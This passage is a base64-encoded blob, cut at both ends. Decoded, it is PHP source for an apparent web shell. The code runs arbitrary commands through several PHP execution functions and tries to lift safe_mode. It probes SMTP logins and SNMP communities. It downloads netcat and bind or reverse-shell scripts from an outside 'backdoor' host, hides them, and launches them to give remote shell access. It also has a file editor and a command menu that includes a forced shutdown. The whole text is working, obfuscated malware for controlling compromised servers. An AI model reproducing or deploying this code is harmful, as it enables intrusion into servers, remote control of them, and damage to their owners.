ZSgncGFzc3RocnUnKSAmJiAhc3Ryc3RyKCRkaXNhYmxlZnVuY3Rpb25zLCdwYXNzdGhydScpKXsgQG9iX3N0YXJ0KCk7cGFzc3RocnUoJGNvbW1hbmQpOyRleGVjPUBvYl9nZXRfY29udGVudHMoKTtAb2JfY2xlYW4oKTtAb2JfZW5kX2NsZWFuKCk7fQplbHNlaWYoaXNfY2FsbGFibGUoJ3N5c3RlbScpICYmICFzdHJzdHIoJGRpc2FibGVmdW5jdGlvbnMsJ3N5c3RlbScpKXskdG1wID0gQG9iX2dldF9jb250ZW50cygpOyBAb2JfY2xlYW4oKTtzeXN0ZW0oJGNvbW1hbmQpIDsgJG91dHB1dCA9IEBvYl9nZXRfY29udGVudHMoKTsgQG9iX2NsZWFuKCk7ICRleGVjPSAkdG1wOyB9CmVsc2VpZihpc19jYWxsYWJsZSgnZXhlYycpICYmICFzdHJzdHIoJGRpc2FibGVmdW5jdGlvbnMsJ2V4ZWMnKSkge2V4ZWMoJGNvbW1hbmQsJG91dHB1dCk7JG91dHB1dCA9IGpvaW4oIlxuIiwkb3V0cHV0KTskZXhlYz0gJG91dHB1dDt9CmVsc2VpZihpc19jYWxsYWJsZSgnc2hlbGxfZXhlYycpICYmICFzdHJzdHIoJGRpc2FibGVmdW5jdGlvbnMsJ3NoZWxsX2V4ZWMnKSl7JGV4ZWM9IHNoZWxsX2V4ZWMoJGNvbW1hbmQpO30KZWxzZWlmKGlzX3Jlc291cmNlKCRvdXRwdXQ9cG9wZW4oJGNvbW1hbmQsInIiKSkpIHt3aGlsZSghZmVvZigkb3V0cHV0KSl7JGV4ZWM9IGZnZXRzKCRvdXRwdXQpO31wY2xvc2UoJG91dHB1dCk7fQplbHNlaWYoaXNfcmVzb3VyY2UoJHJlcz1wcm9jX29wZW4oJGNvbW1hbmQsJGRlcCwkcGlwZXMpKSl7d2hpbGUoIWZlb2YoJHBpcGVzWzFdKSl7JGxpbmUgPSBmZ2V0cygkcGlwZXNbMV0pOyAkb3V0cHV0Lj0kbGluZTt9JGV4ZWM9ICRvdXRwdXQ7cHJvY19jbG9zZSgkcmVzKTt9CmVsc2VpZiAoJHdpbmRvd3MgJiYgaXNfb2JqZWN0KCR3cyA9IG5ldyBDT00oIldTY3JpcHQuU2hlbGwiKSkpeyRkaXI9KGlzc2V0KCRfU0VSVkVSWyJURU1QIl0pKT8kX1NFUlZFUlsiVEVNUCJdOmluaV9nZXQoJ3VwbG9hZF90bXBfZGlyJykgOyRuYW1lID0gJF9TRVJWRVJbIlRFTVAiXS5uYW1FKCk7JHdzLT5SdW4oImNtZC5leGUgL0MgJGNvbW1hbmQgPiRuYW1lIiwgMCwgdHJ1ZSk7JGV4ZWMgPSBmaWxlX2dldF9jb250ZW50cygkbmFtZSk7dW5saW5rKCRuYW1lKTt9CnJldHVybiAkZXhlYzsKfQpmdW5jdGlvbiBkb3dubG9hZGlUKCRnZXQsJHB1dCl7CiRmbz1Ac3RydG9sb3dlcihpbmlfZ2V0KCdhbGxvd191cmxfZm9wZW4nKSk7CmlmKCRmbyB8fCAkZm89PSdvbicpJGNvbj1maWxlX2dldF9jb250ZW50cygkZ2V0KTsKZWxzZXsKJHU9cGFyc2VfdXJsKCRnZXQpOwokaG9zdD0kdVsnaG9zdCddOyRmaWxlPSghZW1wdHkoJHVbJ3BhdGgnXSkpPyR1WydwYXRoJ106Jy8nOwokdXJsPWZzb2Nrb3BlbigkaG9zdCwgODAsICRlbiwgJGVzLCAxMik7CmZwdXRzKCR1cmwsICJHRVQgJGZpbGUgSFRUUC8xLjBcclxuQWNjZXB0LUVuY29kaW5nOiB0ZXh0XHJcbkhvc3Q6ICRob3N0XHJcblJlZmVyZXI6ICRob3N0XHJcblVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChjb21wYXRpYmxlOyBLb25xdWVyb3IvMy4xOyBGcmVlQlNEKVxyXG5cclxuIik7CiR0bXA9JGNvbj0nJzsKd2hpbGUoJHRtcCE9IlxyXG4iKSR0bXA9ZmdldHMoJHVybCk7CndoaWxlKCFmZW9mKCR1cmwpKSRjb24uPWZnZXRzKCR1cmwpOwp9CiRtaz1maWxlX3B1dF9jb250ZW50cygkcHV0LCRjb24pOwppZigkbWspcmV0dXJuIDE7CnJldHVybiAwOwp9CmZ1bmN0aW9uIHNtdHBsb2dpTigkYWRkciwkdXNlciwkcGFzcywkdGltZW91dCl7CiRzb2NrPWZzb2Nrb3BlbigkYWRkciwyNSwkbiwkcywkdGltZW91dCk7CmlmKCEkc29jaylyZXR1cm4gLTE7CmZyZWFkKCRzb2NrLDEwMjQpOwpmcHV0cygkc29jaywnZWhsbyAnLm5hbUUoKS4iXHJcbiIpOwokcmVzPXN1YnN0cihmZ2V0cygkc29jayw1MTIpLDAsMSk7CmlmKCRyZXMhPScyJylyZXR1cm4gMDsKZmdldHMoJHNvY2ssNTEyKTtmZ2V0cygkc29jayw1MTIpO2ZnZXRzKCRzb2NrLDUxMik7CmZwdXRzKCRzb2NrLCJBVVRIIExPR0lOXHJcbiIpOwokcmVzPXN1YnN0cihmZ2V0cygkc29jayw1MTIpLDAsMyk7CmlmKCRyZXMhPSczMzQnKXJldHVybiAwOwpmcHV0cygkc29jayxiYXNlNjRfZW5jb2RlKCR1c2VyKS4iXHJcbiIpOwokcmVzPXN1YnN0cihmZ2V0cygkc29jayw1MTIpLDAsMyk7CmlmKCRyZXMhPSczMzQnKXJldHVybiAwOwpmcHV0cygkc29jayxiYXNlNjRfZW5jb2RlKCRwYXNzKS4iXHJcbiIpOwokcmVzPXN1YnN0cihmZ2V0cygkc29jayw1MTIpLDAsMyk7CmlmKCRyZXMhPScyMzUnKXJldHVybiAwOwpyZXR1cm4gMTsKfQpmdW5jdGlvbiBjaGVja3NtdFAoJGhvc3QsJHRpbWVvdXQpewokZnJvbT1zdHJ0b2xvd2VyKG5hbUUoKSkuIkAiLnN0cnRvbG93ZXIobmFtRSgpKS4iLmNvbSI7CiRzb2NrPUBmc29ja29wZW4oJGhvc3QsMjUsJG4sJHMsJHRpbWVvdXQpOwppZighJHNvY2spcmV0dXJuIC0xOwokcmVzPXN1YnN0cihmZ2V0cygkc29jayw1MTIpLDAsMyk7CmlmKCRyZXMhPScyMjAnKXJldHVybiAwOwpmcHV0cygkc29jaywnSEVMTyAnLm5hbUUoKS4iXHJcbiIpOwokcmVzPXN1YnN0cihmZ2V0cygkc29jayw1MTIpLDAsMyk7CmlmKCRyZXMhPScyNTAnKXJldHVybiAwOwpmcHV0cygkc29jaywiTUFJTCBGUk9NOiA8JGZyb20+XHJcbiIpOwokcmVzPXN1YnN0cihmZ2V0cygkc29jayw1MTIpLDAsMyk7CmlmKCRyZXMhPScyNTAnKXJldHVybiAwOwpmcHV0cygkc29jaywiUkNQVCBUTzogPGNvbnRhY3RAcGVyc2lhbmJsb2cuY29tPlxyXG4iKTsKJHJlcz1zdWJzdHIoZmdldHMoJHNvY2ssNTEyKSwwLDMpOwppZigkcmVzIT0nMjUwJylyZXR1cm4gMDsKZnB1dHMoJHNvY2ssIkRBVEFcclxuIik7CiRyZXM9c3Vic3RyKGZnZXRzKCRzb2NrLDUxMiksMCwzKTsKaWYoJHJlcyE9JzM1NCcpcmV0dXJuIDA7CmZwdXRzKCRzb2NrLCJGcm9tOiAiLm5hbUUoKS4iICIubmFtRSgpLiIgPCRmcm9tPlxyXG5TdWJqZWN0OiAiLm5hbUUoKS4iXHJcbk1JTUUtVmVyc2lvbjogMS4wXHJcbkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpbjtcclxuXHJcbiIubmFtRSgpLm5hbUUoKS5uYW1FKCkuIlxyXG4uXHJcbiIpOwokcmVzPXN1YnN0cihmZ2V0cygkc29jayw1MTIpLDAsMyk7CmlmKCRyZXMhPScyNTAnKXJldHVybiAwOwpyZXR1cm4gMTsKfQpmdW5jdGlvbiBjaGVja191ckwoJHVybCwkbWV0aG9kLCRzZWFyY2gsJHRpbWVvdXQpewppZihlbXB0eSgkc2VhcmNoKSkkc2VhcmNoPScyMDAnOwokdT1wYXJzZV91cmwoJHVybCk7CiRtZXRob2Q9c3RydG91cHBlcigkbWV0aG9kKTsKJGhvc3Q9JHVbJ2hvc3QnXTskZmlsZT0oIWVtcHR5KCR1WydwYXRoJ10pKT8kdVsncGF0aCddOicvJzsKJGRhdGE9KCFlbXB0eSgkdVsncXVlcnknXSkpPyR1WydxdWVyeSddOicnOwppZighZW1wdHkoJGRhdGEpKSRkYXRhPSI/JGRhdGEiOwokc29jaz1AZnNvY2tvcGVuKCRob3N0LDgwLCRlbiwkZXMsJHRpbWVvdXQpOwppZigkc29jayl7CmZwdXRzKCRzb2NrLCIkbWV0aG9kICRmaWxlJGRhdGEgSFRUUC8xLjBcclxuIik7CmZwdXRzKCRzb2NrLCJIb3N0OiAkaG9zdFxyXG4iKTsKaWYoJG1ldGhvZD09J0dFVCcpZnB1dHMoJHNvY2ssIlxyXG4iKTsKZWxzZWlmKCRtZXRob2Q9J1BPU1QnKWZwdXRzKCRzb2NrLCJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZFxyXG5Db250ZW50LWxlbmd0aDogIi5zdHJsZW4oJGRhdGEpLiJcclxuQWNjZXB0LUVuY29kaW5nOiB0ZXh0XHJcbkNvbm5lY3Rpb246IGNsb3NlXHJcblxyXG4kZGF0YSIpOwplbHNlIHJldHVybiAwOwppZigkc2VhcmNoPT0nMjAwJylpZihzdWJzdHIoZmdldHMoJHNvY2spLDAsMyk9PSIyMDAiKXtmY2xvc2UoJHNvY2spO3JldHVybiAxO31lbHNlIHtmY2xvc2UoJHNvY2spO3JldHVybiAwO30Kd2hpbGUoIWZlb2YoJHNvY2spKXsKJHJlcz10cmltKGZnZXRzKCRzb2NrKSk7CmlmKCFlbXB0eSgkcmVzKSlpZihzdHJzdHIoJHJlcywkc2VhcmNoKSl7ZmNsb3NlKCRzb2NrKTtyZXR1cm4gMTt9Cn0KZmNsb3NlKCRzb2NrKTsKfQpyZXR1cm4gMDsKfQpmdW5jdGlvbiBnZXRfc3dfbmFtRSgkaG9zdCwkdGltZW91dCl7CiRzb2NrPUBmc29ja29wZW4oJGhvc3QsODAsJGVuLCRlcywkdGltZW91dCk7CmlmKCRzb2NrKXsKJHBhZ2U9bmFtRSgpLm5hbUUoKTsKZnB1dHMoJHNvY2ssIkdFVCAvJHBhZ2UgSFRUUC8xLjBcclxuXHJcbiIpOwp3aGlsZSghZmVvZigkc29jaykpewokY29uPWZnZXRzKCRzb2NrKTsKaWYoc3Ryc3RyKCRjb24sJ1NlcnZlcjonKSl7JHNlcj1zdWJzdHIoJGNvbixzdHJwb3MoJGNvbiwnICcpKzEpO3JldHVybiAkc2VyO30KfQpmY2xvc2UoJHNvY2spOwpyZXR1cm4gLTE7Cn1yZXR1cm4gMDsKfQpmdW5jdGlvbiBzbm1wY2hlY0soJGlwLCRjb20sJHRpbWVvdXQpewokcmVzPTA7CiRuPWNocigweDAwKTsKJHBhY2tldD1jaHIoMHgzMCkuY2hyKDB4MjYpLmNocigweDAyKS5jaHIoMHgwMSkuIGNocigweDAwKS4gY2hyKDB4MDQpLiBjaHIoc3RybGVuKCRjb20pKS4gCiRjb20uIGNocigweEEwKS4gCmNocigweDE5KS4gY2hyKDB4MDIpLiBjaHIoMHgwMSkuIGNocigweDAxKS4gY2hyKDB4MDIpLiBjaHIoMHgwMSkuICRuLgpjaHIoMHgwMikuIGNocigweDAxKS4gJG4uIGNocigweDMwKS4gY2hyKDB4MEUpLiBjaHIoMHgzMCkuIGNocigweDBDKS4KY2hyKDB4MDYpLiBjaHIoMHgwOCkuIGNocigweDJCKS4gY2hyKDB4MDYpLiBjaHIoMHgwMSkuIGNocigweDAyKS4gY2hyKDB4MDEpLgpjaHIoMHgwMSkuIGNocigweDAxKS4gJG4uIGNocigweDA1KS4gJG47CiRzb2NrPUBmc29ja29wZW4oInVkcDovLyRpcCIsMTYxKTsKc29ja2V0X3NldF90aW1lb3V0KCRzb2NrLCR0aW1lb3V0KTsKQGZwdXRzKCRzb2NrLCRwYWNrZXQpOwpzb2NrZXRfc2V0X3RpbWVvdXQoJHNvY2ssJHRpbWVvdXQpOwokcmVzPWZnZXRzKCRzb2NrKTsKZmNsb3NlKCRzb2NrKTsKcmV0dXJuICRyZXM7Cn0KCiRzYWZlbW9kZT0oQGluaV9nZXQoJ3NhZmVfbW9kZScpIG9yIHN0cnRvbG93ZXIoQGluaV9nZXQoJ3NhZmVfbW9kZScpKSA9PSAnb24nKT8nT04nOidPRkYnOwppZigkc2FmZW1vZGU9PSJPTiIpe0BpbmlfcmVzdG9yZSgic2FmZV9tb2RlIik7QGluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTt9CiRkaXNhYmxlZnVuY3Rpb25zID0gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7CmlmICghZnVuY3Rpb25fZXhpc3RzKCJzdHJfcmVwZWF0IikpewpmdW5jdGlvbiBzdHJfcmVwZWF0KCRzdHIsJGMpewokcj0iIjsKZm9yKCRpPTA7ICRpIDwgJGN1OyAkaSsrKSRyLj0kc3RyOwpyZXR1cm4gJHI7Cn0KfQoKZnVuY3Rpb24gYnJzaGVsTCgpewpnbG9iYWwgJGVycm9yYm94LCAkd2luZG93cywkZXQsJGhjd2Q7CiRfUkVRVUVTVFsnQyddPShpc3NldCgkX1JFUVVFU1RbJ0MnXSkpPyRfUkVRVUVTVFsnQyddOjA7CiRhZGRyPSdodHRwOi8vbmV0amFja2FsLmJ5LnJ1L2JhY2tkb29yJzsKJGVycm9yPSIkZXJyb3Jib3ggQ2FuIG5vdCBtYWtlIGJhY2tkb29yIGZpbGUsIGdvIHRvIHdyaXRlYWJsZSBmb2xkZXIuJGV0IjsKJG49bmFtRSgpOwppZighJHdpbmRvd3MpJG49Ii4kbiI7CiRkPXdoZXJlaXN0bVAoKTsKJG5hbWU9JGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbjsKJHBlcmw9KCEkd2luZG93cyAmJiBzaGVsTCgnd2hpY2ggcGVybCcpKT8kcGVybD1zaGVsTCgnd2hpY2ggcGVybCcpOidwZXJsJzsKJGM9KCRfUkVRVUVTVFsnQyddKT8xOjA7CmlmICghZW1wdHkoJF9SRVFVRVNUWydwb3J0J10pICYmICgkX1JFUVVFU1RbJ3BvcnQnXTw9NjU1MzUpICYmICgkX1JFUVVFU1RbJ3BvcnQnXT49MSkgKXsKJHBvcnQ9KGludCkkX1JFUVVFU1RbJ3BvcnQnXTsKaWYoJHdpbmRvd3MpewppZigkYyl7CiRuYW1lLj0iLmV4ZSI7CiRiZD1kb3dubG9hZGlUKCIkYWRkci9uYy5leGUiLCRuYW1lKTsKc2hlbEwoImF0dHJpYiArSCAkbmFtZSIpOwppZighJGJkKWVjaG8gJGVycm9yO2Vsc2Ugc2hlbEwoIiRuYW1lIC1MIC1wICRwb3J0IC1lIGNtZC5leGUiKTsKfWVsc2V7CiRuYW1lID0gJG5hbWUuIi5wbCI7CiRiZD1kb3dubG9hZGlUKCIkYWRkci93aW5iaW5kLnBsIiwkbmFtZSk7CnNoZWxMKCJhdHRyaWIgK0ggJG5hbWUiKTsKaWYoISRiZCllY2hvICRlcnJvcjtlbHNlIHNoZWxMKCJwZXJsLmV4ZSAkbmFtZSAkcG9ydCIpOwp9Cn0KZWxzZXsKaWYoJGMpewokYmQ9ZG93bmxvYWRpVCgiJGFkZHIvYmluZC5jIiwkbmFtZSk7CmlmICghJGJkKSBlY2hvICRlcnJvcjtlbHNlIHNoZWxMKCJjZCAkZDtnY2MgLW8gJG4gJG4uYztjaG1vZCAreCAuLyRuOy4vJG4gJHBvcnQgJiIpOwp9ZWxzZXsKJGJkPWRvd25sb2FkaVQoIiRhZGRyL2JpbmQucGwiLCRuYW1lKTsKaWYgKCEkYmQpZWNobyAkZXJyb3I7IGVsc2Ugc2hlbEwoImNkICRkOyRwZXJsICRuICRwb3J0ICYiKTsKZWNobyAiPGZvbnQgY29sb3I9Ymx1ZT5CYWNrZG9vciBpcyB3YWl0aW5nIGZvciB5b3Ugb24gJHBvcnQuPGJyPjwvZm9udD4iOwp9Cn0KfQplbHNlaWYoIWVtcHR5KCRfUkVRVUVTVFsncnBvcnQnXSkgJiYgKCRfUkVRVUVTVFsncnBvcnQnXTw9NjU1MzUpICYmICgkX1JFUVVFU1RbJ3Jwb3J0J10+PTEpICYmICFlbXB0eSgkX1JFUVVFU1RbJ2lwJ10pKXsKJGlwPSRfUkVRVUVTVFsnaXAnXTsKJHBvcnQ9KGludCkkX1JFUVVFU1RbJ3Jwb3J0J107CmlmKCR3aW5kb3dzKXsKaWYoJGMpewokbmFtZS49Jy5leGUnOwokYmQ9ZG93bmxvYWRpVCgiJGFkZHIvbmMuZXhlIiwkbmFtZSk7CnNoZWxMKCJhdHRyaWIgK0ggJG5hbWUiKTsKaWYoISRiZCllY2hvICRlcnJvcjtlbHNlIHNoZWxMKCIkbmFtZSAkaXAgJHBvcnQgLWUgY21kLmV4ZSIpOwp9ZWxzZXsKJG5hbWUgPSAkbmFtZS4iLnBsIjsKJGJkPWRvd25sb2FkaVQoIiRhZGRyL3dpbnJjLnBsIiwkbmFtZSk7CnNoZWxMKCJhdHRyaWIgK0ggJG5hbWUiKTsKaWYgKCEkYmQpZWNobyAkZXJyb3I7IGVsc2Ugc2hlbEwoInBlcmwuZXhlICRuYW1lICRpcCAkcG9ydCIpOwp9Cn0KZWxzZXsKaWYoJGMpewokYmQ9ZG93bmxvYWRpVCgiJGFkZHIvcmMuYyIsJG5hbWUpOwppZighJGJkKSBlY2hvICRlcnJvcjtlbHNlIHNoZWxMKCJjZCAkZDtnY2MgLW8gJG4gJG4uYztjaG1vZCAreCAuLyRuOy4vJG4gJGlwICRwb3J0ICYiKTsKfWVsc2V7CiRiZD1kb3dubG9hZGlUKCIkYWRkci9yYy5wbCIsJG5hbWUpOwppZighJGJkKWVjaG8gJGVycm9yO2Vsc2Ugc2hlbEwoImNkICRkOyRwZXJsICRuICRpcCAkcG9ydCAmIik7Cn0KfQplY2hvICI8Zm9udCBjb2xvcj1ibHVlPkRvbmUhPC9mb250PiI7fQplbHNle2VjaG8gIjx0YWJsZSBib3JkZXI9MCBzdHlsZT1cImJvcmRlci1jb2xsYXBzZTogY29sbGFwc2VcIiBib3JkZXJjb2xvcj1cIiMyODI4MjhcIiB3aWR0aD1cIjEwMCVcIj48dHI+PHRkPjx0YWJsZSBib3JkZXI9MCBzdHlsZT1cImJvcmRlci1jb2xsYXBzZTogY29sbGFwc2VcIiBib3JkZXJjb2xvcj1cIiMyODI4MjhcIiB3aWR0aD1cIjUwJVwiPjx0cj48dGQgd2lkdGg9XCI1MCVcIiBiZ2NvbG9yPVwiIzMzMzMzM1wiPkJpbmQgc2hlbEw6PC90ZD48dGQgYmdjb2xvcj1cIiMzMzMzMzNcIj48L3RkPjwvdHI+PGZvcm0gbWV0aG9kPVwiUE9TVFwiPjx0cj48dGQgd2lkdGg9XCIyMCVcIiBiZ2NvbG9yPVwiIzY2NjY2NlwiPlBvcnQ6PC90ZD48dGQgYmdjb2xvcj1cIiM2NjY2NjZcIj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cG9ydCB2YWx1ZT01NTUwMSBzaXplPTU+PC90ZD48L3RyPjx0cj48dGQgd2lkdGg9XCIyMCVcIiBiZ2NvbG9yPVwiIzgwODA4MFwiPlR5cGU6PC90ZD48dGQgYmdjb2xvcj1cIiM4MDgwODBcIj48aW5wdXQgdHlwZT1yYWRpbyBzdHlsZT1cImJvcmRlci13aWR0aDoxcHg7YmFja2dyb3VuZC1jb2xvcjojODA4MDgwO1wiIHZhbHVlPTAgY2hlY2tlZCBuYW1lPUM+UEVSTDxpbnB1dCB0eXBlPXJhZGlvIHN0eWxlPVwiYm9yZGVyLXdpZHRoOjFweDtiYWNrZ3JvdW5kLWNvbG9yOiM4MDgwODA7XCIgbmFtZT1DIHZhbHVlPTE+IjsgaWYoJHdpbmRvd3MpZWNobyAiRVhFIjsgZWxzZSBlY2hvICJDIjtlY2hvIjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPVwiMjAlXCIgYmdjb2xvcj1cIiM2NjY2NjZcIj48L3RkPjx0ZCBiZ2NvbG9yPVwiIzY2NjY2NlwiIGFsaWduPXJpZ2h0PiRoY3dkPGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPWJ1dHRvbnMgdmFsdWU9QmluZD48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+PC90ZD48dGQ+PHRhYmxlIGJvcmRlcj0wIHN0eWxlPVwiYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZVwiIGJvcmRlcmNvbG9yPVwiIzI4MjgyOFwiIHdpZHRoPVwiNTAlXCI+PHRyPjx0ZCB3aWR0aD1cIjQwJVwiIGJnY29sb3I9XCIjMzMzMzMzXCI+UmV2ZXJzZSBzaGVsTDo8L3RkPjx0ZCBiZ2NvbG9yPVwiIzMzMzMzM1wiPjwvdGQ+PC90cj48Zm9ybSBtZXRob2Q9XCJQT1NUXCI+PHRyPjx0ZCB3aWR0aD1cIjIwJVwiIGJnY29sb3I9XCIjODA4MDgwXCI+SVA6PC90ZD48dGQgYmdjb2xvcj1cIiM4MDgwODBcIj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9aXAgdmFsdWU9IjtlY2hvICRfU0VSVkVSWyJSRU1PVEVfQUREUiJdOyBlY2hvICIgc2l6ZT0xNz48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD1cIjIwJVwiIGJnY29sb3I9XCIjNjY2NjY2XCI+UG9ydDo8L3RkPjx0ZCBiZ2NvbG9yPVwiIzY2NjY2NlwiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1ycG9ydCB2YWx1ZT01MyBzaXplPTU+PC90ZD48L3RyPjx0cj48dGQgd2lkdGg9XCIyMCVcIiBiZ2NvbG9yPVwiIzgwODA4MFwiPlR5cGU6PC90ZD48dGQgYmdjb2xvcj1cIiM4MDgwODBcIj48aW5wdXQgdHlwZT1yYWRpbyBzdHlsZT1cImJvcmRlci13aWR0aDoxcHg7YmFja2dyb3VuZC1jb2xvcjojODA4MDgwO1wiIHZhbHVlPTAgY2hlY2tlZCBuYW1lPUM+UEVSTDxpbnB1dCB0eXBlPXJhZGlvIHN0eWxlPVwiYm9yZGVyLXdpZHRoOjFweDtiYWNrZ3JvdW5kLWNvbG9yOiM4MDgwODA7XCIgbmFtZT1DIHZhbHVlPTE+IjsgaWYoJHdpbmRvd3MpZWNobyAiRVhFIjsgZWxzZSBlY2hvICJDIjtlY2hvIjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPVwiMjAlXCIgYmdjb2xvcj1cIiM2NjY2NjZcIj48L3RkPjx0ZCBiZ2NvbG9yPVwiIzY2NjY2NlwiIGFsaWduPXJpZ2h0PiRoY3dkPGlucHV0IGNsYXNzPWJ1dHRvbnMgdHlwZT1zdWJtaXQgdmFsdWU9Q29ubmVjdD48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+JGV0Ijt9fQpmdW5jdGlvbiBzaG93aW1hZ0UoJGltZyl7CmVjaG8gIjxjZW50ZXI+PGltZyBib3JkZXI9MCBzcmM9XCIiLmhsaW5LKCJpbWFnRT0kaW1nJiZ3b3JraW5nZGlSPSIuZ2V0Y3dkKCkpLiJcIj48L2NlbnRlcj4iO30KZnVuY3Rpb24gZWRpdG9SKCRmaWxlKXsKZ2xvYmFsICRlcnJvcmJveCwkZXQsJGhjd2Q7CmlmIChpc19maWxlKCRmaWxlKSl7CmlmICghaXNfcmVhZGFibGUoJGZpbGUpKXtlY2hvICIkZXJyb3Jib3ggRmlsZSBpcyBub3QgcmVhZGFibGUkZXQ8YnI+Ijt9CmlmICghaXNfd3JpdGVhYmxlKCRmaWxlKSl7ZWNobyAiJGVycm9yYm94IEZpbGUgaXMgbm90IHdyaXRlYWJsZSRldDxicj4iO30KJGRhdGEgPSBmaWxlX2dldF9jb250ZW50cygkZmlsZSk7CmVjaG8gIjxjZW50ZXI+PHRhYmxlIGJvcmRlcj0wIHN0eWxlPVwiYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZVwiIGJvcmRlcmNvbG9yPVwiIzI4MjgyOFwiIHdpZHRoPVwiNDAlXCI+PHRyPjx0ZCB3aWR0aD1cIjEwJVwiIGJnY29sb3I9XCIjODA4MDgwXCI+PGZvcm0gbWV0aG9kPVwiUE9TVFwiPiRoY3dkPGlucHV0IHR5cGU9dGV4dCB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkZmlsZSkuIlwiIHNpemU9NzUgbmFtZT1maWxlPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz1idXR0b25zIG5hbWU9T3BlbiB2YWx1ZT1PcGVuPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT48YnI+PHRhYmxlIGJvcmRlcj0wIHN0eWxlPVwiYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZVwiIGJvcmRlcmNvbG9yPVwiIzI4MjgyOFwiIHdpZHRoPVwiNDAlXCI+PHRyPjx0ZCB3aWR0aD1cIjQwJVwiIGJnY29sb3I9XCIjNjY2NjY2XCI+PGZvcm0gbWV0aG9kPVwiUE9TVFwiPjx0ZXh0YXJlYSByb3dzPVwiMThcIiBuYW1lPVwiZWRpdGVkXCIgY29scz1cIjY0XCI+IjsKZWNobyBodG1sc3BlY2lhbGNoYXJzKCRkYXRhKTsKZWNobyAiPC90ZXh0YXJlYT48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD1cIjEwJVwiIGJnY29sb3I9XCIjODA4MDgwXCI+PGlucHV0IHR5cGU9dGV4dCB2YWx1ZT1cIiRmaWxlXCIgc2l6ZT04MCBuYW1lPWZpbGU+PC90ZD48L3RyPjx0ZCB3aWR0aD1cIjQwJVwiIGJnY29sb3I9XCIjNjY2NjY2XCIgYWxpZ249XCJyaWdodFwiPiI7Cn0KZWxzZSB7ZWNobyAiPGNlbnRlcj48dGFibGUgYm9yZGVyPTAgc3R5bGU9XCJib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlXCIgYm9yZGVyY29sb3I9XCIjMjgyODI4XCIgd2lkdGg9XCI0MCVcIj48dHI+PHRkIHdpZHRoPVwiMTAlXCIgYmdjb2xvcj1cIiM4MDgwODBcIj48Zm9ybSBtZXRob2Q9XCJQT1NUXCI+PGlucHV0IHR5cGU9dGV4dCB2YWx1ZT1cIiIuZ2V0Y3dkKCkuIlwiIHNpemU9NzUgbmFtZT1maWxlPiRoY3dkPGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPWJ1dHRvbnMgbmFtZT1PcGVuIHZhbHVlPU9wZW4+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjxicj48dGFibGUgYm9yZGVyPTAgc3R5bGU9XCJib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlXCIgYm9yZGVyY29sb3I9XCIjMjgyODI4XCIgd2lkdGg9XCI0MCVcIj48dHI+PHRkIHdpZHRoPVwiNDAlXCIgYmdjb2xvcj1cIiM2NjY2NjZcIj48Zm9ybSBtZXRob2Q9XCJQT1NUXCI+PHRleHRhcmVhIHJvd3M9XCIxOFwiIG5hbWU9XCJlZGl0ZWRcIiBjb2xzPVwiNjNcIj48L3RleHRhcmVhPjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPVwiMTAlXCIgYmdjb2xvcj1cIiM4MDgwODBcIj48aW5wdXQgdHlwZT10ZXh0IHZhbHVlPVwiIi5nZXRjd2QoKS4iXCIgc2l6ZT04MCBuYW1lPWZpbGU+PC90ZD48L3RyPjx0ZCB3aWR0aD1cIjQwJVwiIGJnY29sb3I9XCIjNjY2NjY2XCIgYWxpZ249XCJyaWdodFwiPiI7Cn0KZWNobyAiJGhjd2Q8aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9YnV0dG9ucyBuYW1lPVNhdmUgdmFsdWU9U2F2ZT48L3RkPjwvZm9ybT48L3RyPjwvdGFibGU+PC9jZW50ZXI+IjsKfQpmdW5jdGlvbiB3ZWJzaGVsTCgpewpnbG9iYWwgJHdpbmRvd3MsJGhjd2Q7CmlmKCR3aW5kb3dzKXsKJGFsaWFzPSI8b3B0aW9uIHZhbHVlPVwibmV0c3RhdCAtYW5cIj5EaXNwbGF5IG9wZW4gcG9ydHM8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwidGFza2xpc3RcIj5MaXN0IG9mIHByb2Nlc3Nlczwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCJzeXN0ZW1pbmZvXCI+U3lzdGVtIGluZm9ybWF0aW9uPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cImlwY29uZmlnIC9hbGxcIj5JUCBjb25maWd1cmF0aW9uPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cImdldG1hY1wiPkdldCBNQUMgYWRkcmVzczwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCJuZXQgc3RhcnRcIj5TZXJ2aWNlcyBsaXN0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIm5ldCB2aWV3XCI+TWFjaGluZXMgaW4gZG9tYWluPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIm5ldCB1c2VyXCI+VXNlcnMgbGlzdDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCJncHJlc3VsdFwiPkdyb3VwIHBvbGljeTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCJzaHV0ZG93biAtcyAtZiAtdCAxXCI+VHVybiBvZmYgdGhlIHN